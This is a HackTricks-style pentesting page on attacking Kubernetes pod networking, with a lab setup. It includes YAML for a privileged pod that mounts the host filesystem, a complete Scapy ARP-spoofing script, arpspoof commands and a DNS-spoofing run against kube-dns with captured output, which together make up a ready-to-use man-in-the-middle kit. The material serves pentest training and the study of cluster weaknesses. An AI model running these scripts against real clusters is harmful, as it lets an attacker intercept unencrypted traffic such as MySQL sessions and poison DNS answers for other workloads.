HackTricks
Searchโ€ฆ
๐Ÿ‘ฝ
Network Services Pentesting
Kubernetes Network Attacks
Support HackTricks and get benefits!

Introduction

Kubernetes by default connects all the containers running in the same node (even if they belong to different namespaces) down to Layer 2 (ethernet). This allows a malicious containers to perform an ARP spoofing attack to the containers on the same node and capture their traffic.
In the scenario 4 machines are going to be created:
  • ubuntu-pe: Privileged machine to escape to the node and check metrics (not needed for the attack)
  • ubuntu-attack: Malicious container in default namespace
  • ubuntu-victim: Victim machine in kube-system namespace
  • mysql: Victim machine in default namespace
1
echo 'apiVersion: v1
2
kind: Pod
3
metadata:
4
name: ubuntu-pe
5
spec:
6
containers:
7
- image: ubuntu
8
command:
9
- "sleep"
10
- "360000"
11
imagePullPolicy: IfNotPresent
12
name: ubuntu-pe
13
securityContext:
14
allowPrivilegeEscalation: true
15
privileged: true
16
runAsUser: 0
17
volumeMounts:
18
- mountPath: /host
19
name: host-volume
20
restartPolicy: Never
21
hostIPC: true
22
hostNetwork: true
23
hostPID: true
24
volumes:
25
- name: host-volume
26
hostPath:
27
path: /
28
---
29
apiVersion: v1
30
kind: Pod
31
metadata:
32
name: ubuntu-attack
33
labels:
34
app: ubuntu
35
spec:
36
containers:
37
- image: ubuntu
38
command:
39
- "sleep"
40
- "360000"
41
imagePullPolicy: IfNotPresent
42
name: ubuntu-attack
43
restartPolicy: Never
44
---
45
apiVersion: v1
46
kind: Pod
47
metadata:
48
name: ubuntu-victim
49
namespace: kube-system
50
spec:
51
containers:
52
- image: ubuntu
53
command:
54
- "sleep"
55
- "360000"
56
imagePullPolicy: IfNotPresent
57
name: ubuntu-victim
58
restartPolicy: Never
59
---
60
apiVersion: v1
61
kind: Pod
62
metadata:
63
name: mysql
64
spec:
65
containers:
66
- image: mysql:5.6
67
ports:
68
- containerPort: 3306
69
imagePullPolicy: IfNotPresent
70
name: mysql
71
env:
72
- name: MYSQL_ROOT_PASSWORD
73
value: mysql
74
restartPolicy: Never' | kubectl apply -f -
Copied!
1
kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools python3-pip python3 ngrep nano dnsutils; pip3 install scapy; bash"
2
kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash"
3
kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash"
Copied!

Basic Kubernetes Networking

If you want more details about the networking topics introduced here, go to the references.

ARP

Generally speaking, pod-to-pod networking inside the node is available via a bridge that connects all pods. This bridge is called โ€œcbr0โ€. (Some network plugins will install their own bridge.) The cbr0 can also handle ARP (Address Resolution Protocol) resolution. When an incoming packet arrives at cbr0, it can resolve the destination MAC address using ARP.
This fact implies that, by default, every pod running in the same node is going to be able to communicate with any other pod in the same node (independently of the namespace) at ethernet level (layer 2).
Therefore, it's possible to perform ARP Spoofing attacks between pods in the same node.

DNS

In kubernetes environments you will usually find 1 (or more) DNS services running usually in the kube-system namespace:
1
kubectl -n kube-system describe services
2
Name: kube-dns
3
Namespace: kube-system
4
Labels: k8s-app=kube-dns
5
kubernetes.io/cluster-service=true
6
kubernetes.io/name=KubeDNS
7
Annotations: prometheus.io/port: 9153
8
prometheus.io/scrape: true
9
Selector: k8s-app=kube-dns
10
Type: ClusterIP
11
IP Families: <none>
12
IP: 10.96.0.10
13
IPs: 10.96.0.10
14
Port: dns 53/UDP
15
TargetPort: 53/UDP
16
Endpoints: 172.17.0.2:53
17
Port: dns-tcp 53/TCP
18
TargetPort: 53/TCP
19
Endpoints: 172.17.0.2:53
20
Port: metrics 9153/TCP
21
TargetPort: 9153/TCP
22
Endpoints: 172.17.0.2:9153
Copied!
In the previous info you can see something interesting, the IP of the service is 10.96.0.10 but the IP of the pod running the service is 172.17.0.2.
If you check the DNS address inside any pod you will find something like this:
1
cat /etc/resolv.conf
2
nameserver 10.96.0.10
Copied!
However, the pod doesn't know how to get to that address because the pod range in this case is 172.17.0.10/26.
Therefore, the pod will send the DNS requests to the address 10.96.0.10 which will be translated by the cbr0 to 172.17.0.2.
This means that a DNS request of a pod is always going to go the bridge to translate the service IP to the endpoint IP, even if the DNS server is in the same subnetwork as the pod.
Knowing this, and knowing ARP attacks are possible, a pod in a node is going to be able to intercept the traffic between each pod in the subnetwork and the bridge and modify the DNS responses from the DNS server (DNS Spoofing).
Moreover, if the DNS server is in the same node as the attacker, the attacker can intercept all the DNS request of any pod in the cluster (between the DNS server and the bridge) and modify the responses.

ARP Spoofing in pods in the same Node

Our goal is to steal at least the communication from the ubuntu-victim to the mysql.

Scapy

1
python3 /tmp/arp_spoof.py
2
Enter Target IP:172.17.0.10 #ubuntu-victim
3
Enter Gateway IP:172.17.0.9 #mysql
4
Target MAC 02:42:ac:11:00:0a
5
Gateway MAC: 02:42:ac:11:00:09
6
Sending spoofed ARP responses
7
โ€‹
8
# Get another shell
9
kubectl exec -it ubuntu-attack -- bash
10
ngrep -d eth0
11
โ€‹
12
# Login from ubuntu-victim and mysql and check the unencrypted communication
13
# interacting with the mysql instance
Copied!
arp_spoof.py
1
#From https://gist.github.com/rbn15/bc054f9a84489dbdfc35d333e3d63c87#file-arpspoofer-py
2
from scapy.all import *
3
โ€‹
4
def getmac(targetip):
5
arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)
6
targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc
7
return targetmac
8
โ€‹
9
def spoofarpcache(targetip, targetmac, sourceip):
10
spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)
11
send(spoofed, verbose= False)
12
โ€‹
13
def restorearp(targetip, targetmac, sourceip, sourcemac):
14
packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)
15
send(packet, verbose=False)
16
print("ARP Table restored to normal for", targetip)
17
โ€‹
18
def main():
19
targetip= input("Enter Target IP:")
20
gatewayip= input("Enter Gateway IP:")
21
โ€‹
22
try:
23
targetmac= getmac(targetip)
24
print("Target MAC", targetmac)
25
except:
26
print("Target machine did not respond to ARP broadcast")
27
quit()
28
โ€‹
29
try:
30
gatewaymac= getmac(gatewayip)
31
print("Gateway MAC:", gatewaymac)
32
except:
33
print("Gateway is unreachable")
34
quit()
35
try:
36
print("Sending spoofed ARP responses")
37
while True:
38
spoofarpcache(targetip, targetmac, gatewayip)
39
spoofarpcache(gatewayip, gatewaymac, targetip)
40
except KeyboardInterrupt:
41
print("ARP spoofing stopped")
42
restorearp(gatewayip, gatewaymac, targetip, targetmac)
43
restorearp(targetip, targetmac, gatewayip, gatewaymac)
44
quit()
45
โ€‹
46
if __name__=="__main__":
47
main()
48
โ€‹
49
# To enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward
Copied!

ARPSpoof

1
apt install dsniff
2
arpspoof -t 172.17.0.9 172.17.0.10
Copied!

DNS Spoofing

As it was already mentioned, if you compromise a pod in the same node of the DNS server pod, you can MitM with ARPSpoofing the bridge and the DNS pod and modify all the DNS responses.
You have a really nice tool and tutorial to test this in https://github.com/danielsagi/kube-dnsspoof/โ€‹
In our scenario, download the tool in the attacker pod and create a **file named hosts ** with the domains you want to spoof like:
1
cat hosts
2
google.com. 1.1.1.1
Copied!
Perform the attack to the ubuntu-victim machine:
1
python3 exploit.py --direct 172.17.0.10
2
[*] starting attack on direct mode to pod 172.17.0.10
3
Bridge: 172.17.0.1 02:42:bd:63:07:8d
4
Kube-dns: 172.17.0.2 02:42:ac:11:00:02
5
โ€‹
6
[+] Taking over DNS requests from kube-dns. press Ctrl+C to stop
Copied!
1
#In the ubuntu machine
2
dig google.com
3
[...]
4
;; ANSWER SECTION:
5
google.com. 1 IN A 1.1.1.1
Copied!
If you try to create your own DNS spoofing script, if you just modify the the DNS response that is not going to work, because the response is going to have a src IP the IP address of the malicious pod and won't be accepted. You need to generate a new DNS packet with the src IP of the DNS where the victim send the DNS request (which is something like 172.16.0.2, not 10.96.0.10, thats the K8s DNS service IP and not the DNS server ip, more about this in the introduction).

References

Support HackTricks and get benefits!